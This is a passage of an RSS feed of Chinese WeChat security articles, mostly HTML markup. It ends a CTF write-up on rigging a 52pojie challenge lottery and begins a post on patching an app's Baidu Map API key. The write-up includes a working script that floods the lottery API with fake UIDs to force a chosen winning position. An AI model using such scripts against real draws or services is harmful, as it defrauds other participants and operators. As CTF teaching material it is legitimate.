hsl(var(--border));color: rgb(121, 192, 255);">null</span>;<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> blockNumber = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">29439513</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> result = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">await</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">findWinningUserCount</span>(blockNumber);</code></pre><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="寻找" class="rich_pages wxw-img" data-imgfileid="100003032" data-ratio="0.6444444444444445" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=46341b85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MU3QXSQXNQcljwicmD7ziaNQcdqBHicCIx248JqjAuGNP3NW95uZxIonl9MVlzadb6riaTGUEVVZGXoSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">根据计算的结果，答题人需要有10201个，中奖的序号是10067，实际位置是第87。剩余的位置都添加虚假的UID。</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;"><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">async</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">function</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">joinMultiple</span>() {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">let</span> timestamp = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">Math</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">floor</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">Date</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">now</span>() / <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">1000</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">let</span> code = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">await</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">getVerifyCode</span>(timestamp.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">toString</span>() + <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;|&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">// 需要221个UID (10201 - 9980 = 221)</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> uids = [];<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">// 生成221个UID，确保自己的UID在第87位</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">for</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">let</span> i = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">0</span>; i &lt; <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">221</span>; i++) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">if</span>(i === <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">87</span>) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            uids.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">push</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;你的UID&#34;</span>);  <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">// 中奖位置</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        } <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">else</span> {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            uids.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">push</span>((<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">200000</span> + i).<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">toString</span>());  <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">// 其他位置用虚假UID</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`\n=== 开始提交抽奖请求 ===`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`时间戳: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${timestamp}</span>`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`总UID数量: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${uids.length}</span>`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`你的位置: 87\n`</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">for</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">let</span> uid <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">of</span> uids) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">try</span> {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">let</span> response = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">await</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">fetch</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;<a href="https://2025challenge.52pojie.cn/api/lottery/join" target="_blank">https://2025challenge.52pojie.cn/api/lottery/join</a>&#39;</span>, {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">method</span>: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;POST&#39;</span>,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">headers</span>: {<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;Content-Type&#39;</span>: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#39;application/json&#39;</span>},<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">body</span>: <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">JSON</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">stringify</span>({<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;timestamp&#34;</span>: timestamp,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;uid&#34;</span>: uid,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;verify_code&#34;</span>: code<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                })<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            });<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">const</span> textResponse = <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">await</span> response.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">text</span>();<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">try</span> {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`UID <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${uid}</span>:`</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">JSON</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">parse</span>(textResponse));<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            } <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">catch</span>(e) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>                <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`UID <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${uid}</span>:`</span>, textResponse);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">await</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">new</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">Promise</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">r</span> =&gt;</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);">setTimeout</span>(r, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">100</span>));  <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">// 添加延迟避免请求过快</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        } <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">catch</span>(e) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>            <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">error</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">`Error submitting UID <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(201, 209, 217);">${uid}</span>:`</span>, e.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">message</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>        }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>    <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">console</span>.<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">log</span>(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;\n=== 提交完成 ===&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>}<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">joinMultiple</span>();</code></pre><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后就等开奖即可。这里之所以和实际不一样，是因为参与人数不一样也会导致中奖的序号不一样的。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">例如我们将参与人数变动一下，范围为10230-10300，得出的中奖序号是一样的。</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="寻找" class="rich_pages wxw-img" data-imgfileid="100003029" data-ratio="0.25555555555555554" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b4bf51e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MU3QXSQXNQcljwicmD7ziaNQc6SjUTo5Z9ksXtXYzpWtA7duY53GzfGbx4V6FPqmAbhbnpLqW1cs7jQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x03总结</h2><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这道题的解题思路比较清晰：通过分析抽奖算法，发现中奖序号是由区块哈希值对参与总人数取模得到的。系统会自动添加 9980 个机器人账号，真实玩家的序号从 9980 开始。在后期分 IP 抽奖的调整下，不同 IP 之间互不干扰，这让解题变得更加可控。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">解题步骤主要是：首先通过 API 获取指定区块的哈希值，然后遍历可能的参与总人数（比如 10000-10300），找到一个合适的总人数，使得计算出的中奖序号大于等于 9980。确定好参与总人数后，计算出自己需要在机器人之后的第几个位置（中奖序号减去 9980），然后将自己的 UID 放在这个位置，其他位置用虚假 UID 填充。最后等待开奖即可获得 flag。</p></section><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin-bottom: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);font-size: 0px;line-height: 0;"> </p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486686">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8665488f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486686%26idx%3D1%26sn%3D42a02562f9e7065c4d57cda66300e2be%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Feb 2025 07:14:00 +0800</pubDate>
    </item>
    <item>
      <title>一次某APP的修复之旅</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486673&amp;idx=1&amp;sn=f90677c655735bb6b172d59b8d478d79</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>浮萍</span> <span>2025-02-13 08:06</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a3f34473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8m7ParO8yPD9wE5pnBnoASS4KMM3kOyXCvsXmKnf16nTtZKbVEl3jeQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin-bottom: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);font-size: 0px;line-height: 0;"> </p><section style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-size: 14px;letter-spacing: normal;background-color: rgb(255, 255, 255);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><blockquote style="border-width: 0px 0px 0px 4px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-left-color: rgb(0, 152, 116);margin-top: 0px;line-height: 1.75;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(63, 63, 63);">字数 1386，阅读大约需 7 分钟</p></blockquote><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x00 前言</h2><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最近发现某款APP无法正常使用，打开后地图页面是空白内容，无法显示和使用地图。经过排查，原来是开发者更新了百度地图的API Key，导致旧版本的APP无法正常访问地图服务。</p><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x01 问题分析</h2><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">APP启动后地图界面呈现空白状态，选择定位也是空白，确认位置提示“请点击地图选择位置”。</p><img alt="无法显示地图" class="rich_pages wxw-img" data-imgfileid="100003007" data-ratio="1.7752577319587628" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="970" src="https://wechat2rss.xlab.app/img-proxy/?k=796378e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8Zmb8Ql4osUqIkJ3LCY2yD07fsornm6vxpeO53uiasUfSOnNpqUvTDrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过抓包，提示&#34;APP Mcode码校验失败&#34;。</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="校验失败" class="rich_pages wxw-img" data-imgfileid="100003008" data-ratio="0.44166666666666665" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=af1cb33f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r88ZhDDl0eFKG961f2s9YlUcLQRicqQWiaz4oL4VqZQAvOic8uVYz82vReg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">说明该APP的百度地图APIKey与SHA1不匹配导致的，解决方法是替换为对应的APIKey和SHA1即可。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里有几种解决方案，每种方法都有其优缺点，可以根据实际需求选择最适合的方式。解决方案：</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-size: inherit;color: rgb(0, 152, 116);">1.反编译并替换APIKey</strong>（较为复杂，不推荐）：</p><ul style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;padding-left: 1.5em;line-height: 1.75;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• 步骤：解压APK文件，找到<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">AndroidManifest.xml</code>文件中的<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">com.baidu.lbsapi.API_KEY</code>值，替换为正确的APIKey。然后重新打包并签名APK。</p></li><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• 缺点：该APP具有签名校验机制，重新打包后可能导致APP无法正常运行，且后续修改较为复杂。因此，此方法不推荐使用。</p></li></ul><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-size: inherit;color: rgb(0, 152, 